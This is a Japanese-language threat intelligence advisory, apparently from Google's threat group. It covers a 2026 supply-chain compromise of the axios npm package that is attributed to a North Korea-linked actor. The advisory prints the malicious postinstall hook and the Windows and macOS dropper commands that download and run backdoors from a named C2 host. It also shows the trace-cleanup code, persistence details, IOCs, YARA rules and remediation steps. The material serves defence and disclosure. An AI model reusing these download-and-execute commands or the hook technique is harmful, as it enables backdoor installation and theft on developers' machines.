執筆者: Austin Larsen、Dima Lenz、Adrian Hernandez、Tyler McLellan、Christopher Gardner、Ashley Zaya、Michael Rudden
はじめに
Google Threat Intelligence Group (GTIG)は、人気のあるNode Package Manager (NPM)パッケージ「axios」を対象とした活発なソフトウェアサプライチェーン攻撃を追跡しています。2026年3月31日の00:21~03:20 UTCの間に、攻撃者は「plain-crypto-js」という悪意のある依存関係をAxios NPMリリースバージョン1.14.1および0.30.4に導入しました。Axiosはビジネスロジック層でHTTPリクエストを簡素化するために使用される最も人気のあるJavaScriptライブラリであり、これらのパッケージは通常、それぞれ月間1億回以上および8,300万回以上のダウンロード数があります。この悪意のある依存関係は、Windows、macOS、およびLinux全体でWAVESHAPER.V2バックドアを展開する難読化されたドロッパーです。
GTIGはこの活動をUNC1069に起因すると分類しています。これは少なくとも2018年以来活動している北朝鮮関連の金銭的動機を持つ脅威行為者であり、この脅威行為者によって以前に使用されたWAVESHAPERの更新版であるWAVESHAPER.V2の使用に基づいています。さらに、この攻撃で使用されたインフラストラクチャアーティファクトの分析は、過去の活動でUNC1069によって使用されたインフラストラクチャとの重複を示しています。
このブログでは、初期アカウント侵害からオペレーティングシステム(OS)固有のペイロード展開までの攻撃ライフサイクルについて詳述し、防御者がこの脅威を特定および軽減するための実行可能なガイダンスを提供します。
キャンペーン概要
2026年3月31日、GTIGはplain-crypto-jsバージョン4.2.1が正規のaxiosパッケージバージョン1.14.1の依存関係として導入されたことを観察しました。分析により、axiosパッケージに関連するメンテナアカウントが侵害され、関連するメールアドレスが攻撃者が制御するアカウント([email protected])に変更されたことが判明しました。
脅威行為者は悪意のある依存関係の「package.json」ファイル内のpostinstallフックを使用して、サイレント実行を実現しました。侵害されたaxiosパッケージのインストール時に、NPMは「setup.js」という難読化されたJavaScriptドロッパーをバックグラウンドで自動的に実行します。
"scripts": {
"test": "echo \"エラー: テストが指定されていません\" && exit 1",
"postinstall": "node setup.js"
}
マルウェア分析
「plain-crypto-js」パッケージはペイロード配信ビークルとして機能します。コアコンポーネントであるSILKBELL、setup.js (SHA256: e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09)は、実行時にターゲットシステムのオペレーティングシステムを動的にチェックして、プラットフォーム固有のペイロードを配信します。
スクリプトは、カスタムXORおよびBase64ベースの文字列難読化ルーチンを使用して、コマンドアンドコントロール(C2またはC&C)URLおよびホストOSの実行コマンドを隠蔽します。静的分析を回避するために、fs、os、およびexecSyncを動的にロードします。セカンダリペイロードの正常なドロップ後、setup.jsはそれ自体を削除し、修正されたpackage.jsonを元に戻して、postinstallフックのフォレンジック痕跡を隠そうとします。
オペレーティングシステム固有の実行パス
識別されたプラットフォームに応じて、ドロッパーは次のルーチンを実行します。
Windows
ドロッパーは、ネイティブのpowershell.exeバイナリを積極的に検索します。検出を回避するために、正規の実行可能ファイルを%PROGRAMDATA%\wt.exeにコピーします。その後、curlを使用してPOSTボディpackages.npm.org/product1経由でPowerShellスクリプトをダウンロードし、ユーザーのAppData Tempディレクトリ(例: %TEMP%\6202033.ps1)に保存します。ペイロードは、コピーされたWindows Terminalの実行可能ファイルを非表示および実行ポリシーバイパスフラグで実行します。
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d packages.npm.org/product1 http://sfrclak[.]com:8000/6202033 > %TEMP%\6202033.ps1
& %PROGRAMDATA%\wt.exe -w hidden -ep bypass -file %TEMP%\6202033.ps1 http://sfrclak[.]com:8000/6202033 & del ""PS_PATH"" /f", 0, False
macOS
マルウェアはbashとcurlを使用して、ネイティブMach-Oバイナリペイロードを/Library/Caches/com.apple.act.mondにダウンロードします。POSTボディはpackages.npm.org/product0です。ファイルを実行可能にするための権限を修正し、zsh経由でバックグラウンドで起動します。
try
do shell script "
curl -o /Library/Caches/com.apple.act.mond
-d packages.npm.org/product0
-s http://sfrclak.com:8000/6202033
&& chmod 770 /Library/Caches/com.apple.act.mond
&& /bin/zsh -c "/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &"
&> /dev/null"
"
end try
do shell script "rm -rf tmp/6202033"
Linux
スクリプトは、POSTボディpackages.npm.org/product2を使用してPythonバックドアを/tmp/ld.pyにダウンロードします。
クリーンアップ
2つの実行ブランチでダウンロードされたスクリプトを削除することに加えて、スクリプトはそれ自体を削除し、注入されたpackage.jsonを「package.md」として保存されていたオリジナルで置き換えようとします。
const K = __filename;
t.unlink(K, (x => {}))
t.unlink('package.json', (x => {})), t.rename('package.md', 'package.json', ord)
WAVESHAPER.V2バックドア機能
プラットフォーム固有のペイロードは最終的にGTIGがWAVESHAPER.V2として追跡するバックドアの亜種を展開します。これはmacOSをターゲットとするC++で記述されたバックドアであり、システム情報の収集、ディレクトリの列挙、または追加のペイロードの実行を行い、コマンドライン引数を通じて提供されるC2に接続します。特に、GTIGはさまざまな環境をターゲットとするPowerShellおよびPythonで記述されたWAVESHAPER.V2の追加の亜種を特定しました。オペレーティングシステムに関係なく、マルウェアは60秒の間隔でポート8000経由のC2エンドポイントにビーコン信号を送信します。ビーコンはBase64エンコードされたJSONデータで構成され、ハードコードされたUser-Agentを使用します:
mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
敵インフラストラクチャへの初期ビーコン信号後、WAVESHAPER.V2は継続的にポーリングを行い、指示を待つため60秒間一時停止します。サーバーレスポンスは、インプラントが次に実行するアクションを決定します。バックドアは、表1で概説されている複数のコマンドをサポートします。
|
コマンド |
説明 |
|---|---|
|
|
マルウェアの実行プロセスを終了します。 |
|
|
「ReqPaths」パラメータで指定されたパスについて、ファイルパス、サイズ、および作成/変更タイムスタンプを含む詳細なディレクトリリストを取得します。 |
|
|
提供されたAppleScriptペイロードをデコードして実行します。 |
|
|
任意のバイナリペイロードをデコード、ドロップ、およびオプションのパラメーター付きで実行します。 |
表1: WAVESHAPER.V2 コマンド
Windows上では、永続性は隠されたバッチファイル(%PROGRAMDATA%\system.bat)を作成し、HKCU:\Software\Microsoft\Windows\CurrentVersion\Runに「MicrosoftUpdate」という新しいエントリを追加してログオン時に起動することで実現されます。
WAVESHAPER.V2は、以下の機能を備えた完全に機能するRATとして機能します:
-
偵察: ホスト名、ユーザー名、ブート時間、タイムゾーン、OSバージョン、詳細な実行中プロセスリストを含むシステムテレメトリを抽出します。
-
コマンド実行: メモリ内ポータブル実行可能(PE)インジェクション、および任意のシェルコマンドを含む複数の実行方法をサポートします。シェル実行コマンドはC2からスクリプトおよびスクリプトパラメータを期待します。スクリプトが提供されない場合、パラメータはPowerShellコマンドとして実行されます。スクリプトが提供される場合、そのサイズに応じてBase64エンコードされるか、ファイルに配置されます。
-
ファイルシステムの列挙: 要求されたターゲットディレクトリについて、ファイルシステムを継続的に再帰することにより詳細なメタデータを返します。
帰属
GTIGはこの活動をUNC1069に帰属させます。これは2018年以来活動している金銭的動機を持つ北朝鮮関連の脅威行為者です。C2インフラストラクチャ(sfrclak[.]comが142.11.206.73に解決される)の分析により、UNC1069によって以前に使用されたAstrillVPNノードからの接続が明らかになりました。さらに、同じASN上でホストされている隣接するインフラストラクチャは、歴史的にUNC1069の活動と関連付けられています。
さらに、WAVESHAPER.V2はWAVESHAPERの直接的な進化形です。WAVESHAPERはmacOSおよびLinuxバックドアであり、以前にUNC1069に帰属していました。オリジナルのWAVESHAPERは軽量なローバイナリC2プロトコルを使用し、コードパッキングを採用しています。一方、WAVESHAPER.V2はJSONを使用して通信し、追加のシステム情報を収集し、より多くのバックドアコマンドをサポートします。これらのアップグレードにもかかわらず、両バージョンはコマンドライン引数を通じてC2 URLを動的に受け入れ、同一のC2ポーリング動作と一般的でないUser-Agentスト文字列を共有し、同一の一時ディレクトリにセカンダリペイロードを展開します (例: /Library/Caches/com.apple.act.mond)。
展望および示唆
北朝鮬関連の行為者によるこの攻撃の影響は広範であり、他の人気パッケージがaxiosに依存関係として依存しているため、波及効果があります。特に、UNC1069は最近数週間で成功したオープンソースサプライチェーン攻撃を実施した唯一の脅威行為者ではありません。UNC6780(TeamPCPとしても知られている)は、Trivy、Checkmarx、LiteLLMなどのプロジェクトに関連するGitHub ActionsおよびPyPIパッケージを毒性化し、SANDCLOCKの認証情報スチーラーを展開し、後続の恐喝操作を容易にしました。
これらの最近の攻撃の結果として、数十万の盗まれたシークレットが流通している可能性があります。これにより、さらなるソフトウェアサプライチェーン攻撃、サービスとしてのソフトウェア(SaaS)環境の侵害(下流の顧客侵害につながる)、ランサムウェアおよび恐喝イベント、短期間での暗号資産の盗難が可能になる可能性があります。
サプライチェーン侵害は、ユーザーおよびエンタープライズ管理者が評判の良いベンダーから提供されるハードウェア、ソフトウェア、および更新に置く固有の信頼を悪用し、彼らがコラボレーティブなコード共有コミュニティに置く可能性のある信頼を悪用する特に危険な戦術です。防御者はこれらのキャンペーンに細心の注意を払うべきであり、企業は既存の影響を評価し、侵害されたシステムを修復し、将来の攻撃に対して環境を強化するための献身的な取り組みを開始すべきです。
修復
GTIGは、axiosパッケージを使用しているすべての開発者および組織に、直ちに是正措置を講じることを強く求めています。優先事項は、侵害されたバージョンについて依存関係ツリーを監査し、影響を受けたホストを隔離し、潜在的に公開されたシークレットまたは認証情報を回転させることにあります。初期の抑制の後、組織は厳密なバージョン固定および強化されたサプライチェーン監視を通じて長期的な強化を実装する必要があります。
-
バージョン管理: axiosバージョン1.14.1または0.30.4にアップグレードしないでください。企業管理下のNPMリポジトリが既知の良いバージョンのみを提供するように設定されていることを確認してください(例: 1.14.0以前、0.30.3以前)。
-
依存関係固定: axiosを
package-lock.json内の既知の安全なバージョンに固定して、偶発的なアップグレードを防いでください。 -
悪意のあるパッケージ監査: 「plain-crypto-js」パッケージ(バージョン4.2.0または4.2.1)についてプロジェクトロックファイルを検査してください。WizまたはOpen Source Insightsなどのツールを使用して、より深い依存関係監査を行ってください。
-
パイプラインセキュリティ: axiosに依存するパッケージのCI/CD展開を一時停止してください。ビルドが固定された安全なバージョンで再デプロイする前に「最新」バージョンをプルしていないことを検証してください。
-
インシデント対応:
plain-crypto-jsが検出された場合は、ホスト環境が侵害されていると想定してください。環境を既知の良好な状態に戻し、そのマシン上に存在するすべての認証情報またはシークレットを回転させてください。 -
ネットワーク防御: sfrclak[.]comおよびコマンド&コントロールIP: 142.11.206.73へのすべてのトラフィックをブロックしてください。このドメインへのエンドポイント通信試行を監視および警告してください。
-
キャッシュ修復: すべてのワークステーションおよびビルドサーバー上のローカルおよび共有npm、yarn、およびpnpmキャッシュをクリアして、後続のインストール時の再感染を防止してください。
-
エンドポイント保護: 開発環境を保護するためにEDRを展開してください。既知の侵害指標(IOC)と一致するNode.jsアプリケーションから生成された疑わしいプロセスを監視してください。
-
認証情報管理: 侵害指標(IOC)が実行されたことが確認されたアプリケーションで使用されるすべてのトークンおよびAPIキーを回転させてください。
- 開発者サンドボックス&シークレットボールト: ホストファイルシステムアクセスを制限するためにコンテナまたはサンドボックス内で開発環境を隔離し、aws-vaultを使用してOSキーチェーンにプレーンテキストシークレットを移行してください。これにより、侵害されたパッケージがホストマシン上で認証情報をプログラム的にスクレイプしたり、悪意のあるスクリプトを直接実行したりできなくなります。
侵害指標(IOC)
このブログポストで概説されている活動を検索および特定するのに役立つコミュニティ全体を支援するために、登録ユーザー向けの無料GTIコレクションにIOCを含めています。
ネットワーク指標
|
指標 |
タイプ |
ノート |
|
|
C2 |
WAVESHAPER.V2 |
|
|
C2 |
WAVESHAPER.V2 |
|
|
C2 |
WAVESHAPER.V2 |
|
|
C2 |
WAVESHAPER.V2 |
|
|
C2 |
疑わしいUNC1069インフラストラクチャ |
ファイル指標
|
ファミリー |
ノート |
SHA256 |
|
WAVESHAPER.V2 |
Linux Python RAT |
|
|
WAVESHAPER.V2 |
macOSネイティブバイナリ |
|
|
WAVESHAPER.V2 |
Windows Stage 1 |
|
|
WAVESHAPER.V2 |
N/A |
|
|
SILKBELL |
N/A |
|
|
N/A |
system.bat |
|
|
N/A |
plain-crypto-js-4.2.1.tgz |
|
YARAルール
これらのルールは、開発ワークステーション、CI/ビルドシステム、およびその他の疑わしい影響を受けたホストで回顧的な検索と検証に最も役立つ可能性があります。
rule G_Backdoor_WAVESHAPER.V2_PS_1
{
meta:
description = "Base64エンコードされたJSONビーコンを介してC2と通信し、PEインジェクションおよびスクリプト実行をサポートするWAVESHAPER.V2 PowerShellバックドアを検出します"
author = "GTIG"
md5 = "04e3073b3cd5c5bfcde6f575ecf6e8c1"
date_created = "2026/03/31"
date_modified = "2026/03/31"
rev = 1
platforms = "Windows"
family = "WAVESHAPER.V2"
strings:
$ss1 = "packages.npm.org/product1" ascii wide nocase
$ss2 = "Extension.SubRoutine" ascii wide nocase
$ss3 = "rsp_peinject" ascii wide nocase
$ss4 = "rsp_runscript" ascii wide nocase
$ss5 = "rsp_rundir" ascii wide nocase
$ss6 = "Init-Dir-Info" ascii wide nocase
$ss7 = "Do-Action-Ijt" ascii wide nocase
$ss8 = "Do-Action-Scpt" ascii wide nocase
condition:
uint16(0) != 0x5A4D and filesize < 100KB and 5 of ($ss*)
}
rule G_Hunting_Downloader_suspected_UNC1069_PS_1
{
meta:
description = "疑わしいUNC1069およびAxios npmパッケージサプライチェーン攻撃に関連するPowerShellドロッパーを検出します。WAVESHAPER.V2に関連"
author = "GTIG"
md5 = "089e2872016f75a5223b5e02c184dfec"
date_created = "2026/03/31"
date_modified = "2026/03/31"
rev = 1
platforms = "Windows"
strings:
$ss1 = "start /min powershell -w h" ascii wide nocase
$ss2 = "[scriptblock]::Create([System.Text.Encoding]::UTF8.GetString" ascii wide nocase
$ss3 = "Invoke-WebRequest -UseBasicParsing" ascii wide nocase
$ss4 = "-Method POST -Body" ascii wide nocase
$ss5 = "packages.npm.org/product1" ascii wide nocase
condition:
uint16(0) != 0x5A4D and filesize < 5KB and all of them
}
rule G_Hunting_Downloader_SILKBELL_1
{
meta:
description = "Base64難読化とカスタムXORを使用する難読化されたJSNPMサプライチェーンダウンローダーのバージョンを検出します。WAVESHAPER.V2に関連"
author = "GTIG"
md5 = "7658962ae060a222c0058cd4e979bfa1"
date_created = "2026/03/31"
date_modified = "2026/03/31"
rev = 1
platforms = "Any"
strings:
$ss1 = "OrDeR_7077" ascii wide fullword
$ss2 = "String.fromCharCode(S^a^333)" ascii wide
$ss3 = "\"TE9DQUw^\".replaceAll(\"^\",\"=\")" ascii wide
$ss4 = "\"UFM_\".replaceAll(\"_\",\"=\")" ascii wide
$ss5 = "\"U0NSXw--\".replaceAll(\"-\",\"=\")" ascii wide
$ss6 = "\"UFNfQg--\".replaceAll(\"-\",\"=\")" ascii wide
$ss7 = "\"d2hlcmUgcG93ZXJzaGVsbA((\".replaceAll(\"(\",\"=\")" ascii wide
condition:
uint16(0) != 0x5A4D and filesize < 100KB and all of them
}
Google Security Operations (SecOps)
Google Security Operations (SecOps)の顧客は、Mandiant Intel Emerging Threatsルールパック下で以下の広いカテゴリルールなどにアクセスできます。
-
ステージングディレクトリへのAppleシステムファイルを書き込むCurl
-
Nohup Osascriptを生成するNode
-
削除コマンド付きWindowsスクリプトホストを生成するNode
-
Curlを使用したシェルを生成するWindowsスクリプトホスト
-
疑わしいステージングディレクトリ内のWindowsターミナル
Wiz
Wizの顧客は、Wiz Threat Centerで本アドバイザリーに関する情報を確認し、彼らが影響を受けているかどうかを確認してください。詳細については、Wizのブログ投稿「Axios NPM配布がサプライチェーン攻撃で侵害」を参照してください。